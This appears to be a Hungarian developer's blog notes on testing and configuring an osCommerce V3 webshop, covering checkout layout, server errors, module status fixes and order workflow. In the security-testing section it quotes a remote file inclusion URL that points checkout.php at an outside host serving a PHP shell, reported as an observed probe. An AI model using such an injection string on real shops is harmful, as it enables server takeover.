Vásárlási feltételek

A vásárlási feltételek javítása

Felmerült bennem, hogy a jelenlegi szerkezet nem megfelelően van kialakítva a vásárlás folyamatában.
A gyors kosár tényleg hasznos, de a vásárlási feltételek nincsen jó helyen. Az elgondolásom a következő.

A régi megerősítési oldal

Az új megerősítési oldal a vásárlási feltétellel

A régi fizetés kiválasztó oldal

Az új fizetés kiválasztó

Modulok beállítása telepítés után

Gyors segítség

A telepítés után az összes modult kézzel újra kell sajnos installálni.
(Fizetési, Szállítási és Összesítési modulok.) Azaz eltávolítás majd telepítés.
Ekkor helyre áll a rend “title” szinten a rendszerben.
Figyelem, mert még mindig van egy buktató, a Fizetés az áru átvételekor modulban a személyes
átvétel telephelyünkön legyen kipipálva.

Az utólagos beállításra azért van szükség, mert eltér az installációs eljárás a váz működésétől.
Reményeim szerint az OSCOMV3-ban már nem lesz ez az anomália.

Bővebben a fórumban

Törésvizsgálat V3 webáruházban

Törésteszt oscommerce V3 rendszeren

 

Felfigyeltem egy furcsa URL-re a minap. Elsőnek nem tudtam mire vélni,
de aztán az eredménye láttán, okosabb lettem. A kód segítségével el lehet különíteni a
védett és a védtelen shopokat.

http:\ezazenshopom.hucheckout.php?_SERVER[DOCUMENT_ROOT]=http:\www.apc.edu.ectemp?

Aztán megnéztem külön a http:\www.apc.edu.ectemp? fájlt is. A panda ezt az üzenetet küldte:

Panda GP 2010 jelentés:

megfertőzte a PHP/Shell vírus, ezért töröltem.

 

Hogy mik vannak!

Errorlog üzenetek alfa 6-on:

 

  • PHP Notice: Array to string conversion in osc3/includes/functions/html_output.php on line 488
  • PHP Notice: Array to string conversion in osc3/includes/functions/general.php on line 51

A hálón rákerestem az irodalomra is.
Nem gondoltam, hogy mennyire egyszerű a probléma, de a V3 most jól vizsgázott. Ez már nem a 2003-as színvonal.

Tesztelés alatt az alfa6

Tesztelés alá került az alfa6

 

Nem kíméltem az új vázat és a keresők közé vetettem. A váz ki van egészítve a visitor
webstatisztikai bővítménnyel és mivel az error log teljesen zárt, csak az adminisztráció
észleli a hibákat. Ha a googli másra nem is, a tesztelésre kivállóan alkalmas. Az eredményeket
folyamatosan jegyzem ezen az oldalon.

 

Éles teszt eredmények

    • Első hiba az admin oldalról jött

{codecitation class=”brush: html; gutter: true;”}

PHP Notice: unserialize() [function.unserialize]:
Error at offset 0 of 1230 bytes in /web/gumisarok/osc3/admin/includes/applications/whos_online/pages/main.php on line 99

{/codecitation}

Termékfelvétel

Termékfelvétel a gyakorlatban

Képek felvétele

Lehet, hogy már feltűnt, de a képfelvétel egy kicsit szokatlan a V3 rendszerben.
Meg kell különböztetni a még nem létező termék képfelvételét és a már létezőjét.

  • Nem létező (most kerül felvételre a termék)
  • Már létező termék

A különbség a kettő között, hogy a rendszer míg az elöbbinél nem rendelt adatokat az adatbázisba,
így az csak a memóriában létezik. A második eset a program számára sokkal egyértelműbb, mert létezik
a termék.

Nézzük meg a különbségeket a képfelvétel folyamatában:

Képfelvétel teljesen új terméknél

A tallózás gomb segítségével tölthetünk fel képet, de nem látjuk az eredményét.

Kép előfelvétel

Képfelvétel létező terméknél

A küldés szervernek gombbal tölthetünk fel képet, de látjuk az eredményét.

Kép feltöltés létező terméknél

Szerver beállítási problémák

Szerver beállítási problémák OSCOM V3-nál

Igyekszem majd, hogy a fejlesztés és a tesztelés során jelentkező szerver beállításra visszavezethető hibákat egy folyamatosan frissített gyűjtemény csokorba szedjem.

TimeZone hiba

Nem volt feltelepítve a szerveren a PHP date_default_timezone_get() utasítás így ezt az error kaptam:
PHP Unknown: date_default_timezone_get() [function.date-default-timezone-get]: It is not safe to rely on the system’s timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected ‘Europe/Berlin’ for ‘CEST/2.0/DST’ instead in /x/y/demoshop/includes/functions/compatibility.php on line 16

Megoldásom a compatibility.php-ben következő egyenlőre:

//date_default_timezone_set(@date_default_timezone_get());
date_default_timezone_set(‘Europe/Budapest’);

Nincs exec

A hiba a Server Info oldalán jelentketzett

PHP Warning: exec() has been disabled for security reasons in /x/y/demoshop/osCommerce/OM/Core/Site/Admin/Application/ServerInfo/ServerInfo.php on line 33

Megoldásom egyenlőre a hibás és referencia sorokat /* */ közé raktam.

Nem működik a valuta árfolyam

A hiba a valutaárfolyamok frissítésénél jelentkezett, mert nincs allow_url_fopen

PHP Warning: file() function.file http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /x/y/demoshop/osCommerce/OM/Core/Site/Admin/includes/functions/localization.php on line 16

Használjuk inkább a CURL-t, hamár úgyis telepítési feltétel

Modulok státusza

True/False, 1,-1, true/false a modulok Státuszállapotában

A modulok telepítgetése során feltűnt, hogy a beállítások össsze-vissza, hol angolul, hol magyarul Igaz/Hamis vagy True/False vagy true/false értéket vesznek fel. A témát jobban körüljárva feltűnt, hogy szerteágazó a státuszkezelés kapcsolója. Érdemes lenne szabványosítani, mégpedig többnyelvűsíthetően.

A fizetési módokban

'osc_cfg_set_boolean_value(array('True', 'False'))'

A szállítási módokban

'osc_cfg_set_boolean_value(array(array(1, -1))'

Az összesítő módolokban

'osc_cfg_set_boolean_value('true', 'false'))'

A legjobb lenne, ha mindegyik a szállítási módokban lévőt használná, mert az többnyelvűsíthető és nem kell True/False értékeket bámulnunk. Nade van erre egy egyszerűbb megoldás…

 

Keressük meg a
catalog/admin/includes/functions/cfg_parameters/osc_cfg_set_boolean_value.php
fájlt és javítsuk a megfelelő részt

 

Keresd ezt:

//
      if ($value === -1) {
         $value = $osC_Language->get('parameter_false');
       } elseif ($value === 0) {
         $value = $osC_Language->get('parameter_optional');
       } elseif ($value === 1) {
         $value = $osC_Language->get('parameter_true');
       }

Cseréljük erre:

// We wish
if ($value === -1 || $value === 'false' || $value === 'False') {
$value = $osC_Language->get('parameter_false');
} elseif ($value === 0) {
$value = $osC_Language->get('parameter_optional');
} elseif ($value === 1 || $value === 'true' || $value === 'True') {
$value = $osC_Language->get('parameter_true');
}

A sablon dobozok szabványa

//
INSERT INTO osc_templates_boxes_to_pages VALUES (5,4,1,'*','left',500,0);
INSERT INTO osc_templates_boxes_to_pages VALUES (6,12,1,'*','right',100,0);
INSERT INTO osc_templates_boxes_to_pages VALUES (16,16,1,'index/category_listing','after',400,0);

A sablon modulok elrendezésében is van némi nyelvi probléma a left/right/after miatt, ami a boxes_group mező értékeit mutatja

Megoldásnak javasolnék egy osc_cfg_template_modules_group.php-t, ami az osc_languages_definition tábla nyelvi változóiból veszi a nyelvnek megfelelő értéket.

Folyamatirányítás

Az árufolyamat szervezés osCommerce rendszerrel

Lassan körvonalazódnak, azok a lehetőségek, melyek az eddigi 1-2 kezelő személyes webáruház rendszerről komolyabb szervezési folyamatokat is megengednek majd az OSCOMV3 és a 2.3 rendszerekben. Ennek első lépése az adminisztrációs panelek jelszóval történő szétválasztása. A következő lépés, pedig a vállalkozás szervezeti egységeinek összerendelése a webáruház megfelelő adminisztrációs paneljeivel. A legjobb példa erre a rendelések kezelése.

A kereskedelmi részleg

Mindenképpen létezik egy olyan egység, amely fogadja, kontrollálja a rendeléseket és szervezi a vállalti alegységeket a kereskedelmi folyamatokban. Általában kézben tartja a kontrollt és az irányítást mindenek felett. Jellemzően tevékenységi utasításokat ad az alosztályoknak. Fő oscommerce moduljai a rendelések és a statisztika.

Belépési állapot Kilépési állapot
Beszerzése folyamatban ->

Szedés alatt

Rendelés módosításra

Csomagolva -> Szállítás alatt
Szállítás alatt -> Visszáru
Viszáru -> Rendelés módoításra

A raktár

Feladata a részére továbbított rendelési állapot szerint a termékek összeszedése és csomagolása. Két fő állapota van a “Szedés alatt” és a “Csomagolva”

Belépési állapot Kilépési állapot
Szedés alatt -> Csomagolva

Kiszállítás, beszerzés vagy logisztika

A szállítási feladatok mamár egyre inkább külsős cégekre hárulnak a költség hatékonyabb tevékenység érdekében, de lehet a cégen belül olyan munkatárs, aki ezzel foglalkozik. Az ő osCommerce rendelési állapotait a táblázatban foglaltam össze. Előfordul, hogy a beszerzéssel is foglalkoznia kell, ekkor a “Beszerzése folyamatban” státuszt is birtokolhatja.

Belépési állapot Kilépési állapot
Beszerzése folyamatban ->

Szedés alatt

Rendelés módosításra

Csomagolva -> Szállítás alatt
Szállítás alatt -> Visszáru
Viszáru -> Rendelés módoításra

Szervezeti diagram

Termék hibamonitor

Termék hibamonitor

Az adatfelvétel során előfordulhat, hogy hiányos adatokkal próbáljuk megjeleníteni a terméket. Elfelejtünk képet, adókulcsot, árat vagy súlyt hozzárendelni a termékhez. A termék hibamonitor ezen a problémán segít. Csak azokat a termékeket listázza, melyek hibával rendelkeznek. A listában módunk van adatot javítani vagy terméket törölni.

Mit figyel a modul?

Csak azok a termékek kerülnek kiválogatása, amelyeknek

  • nincs termékképe
  • vagy alacsony a termék ára
  • vagy nincs adókulcsa
  • esetleg nincs tömege
  • nincs státuszban

Működés

A leválogatási eljárás nincs tekintettel a megjelenítési állapotra, azaz minden terméket átvizsgál az adatbázisban, ami támpontot adhat a kikapcsolt termékek szerkesztéséhez is.

A lista csak termékeket tartalmaz, azaz nem csoportosít termékváltozatra, így minden fontos terméknév információ megjelenik. A termékek közvetlenül linkelve vannak a termékszerkesztő oldalra.

Termék hibamonitor

Nagy számú termékhalmaznál igencsak hasznos lehet ez a funkció, mivel a vásárlói oldalon teljesen reménytelen lenne az ilyen adatok felkutatása.

Örülök, hogy ennyire felkapott lett néhány napon belül a modul. G Burton sebtében már adaptálta is a vázát a 2.x rendszerre. Az modul nagyon könnyen hekkelhető és megfelelő lekérdező klónok gyárthatóak belőle. Személy szerint viszont jobban örülnék egy kapcsolható szűrőnek.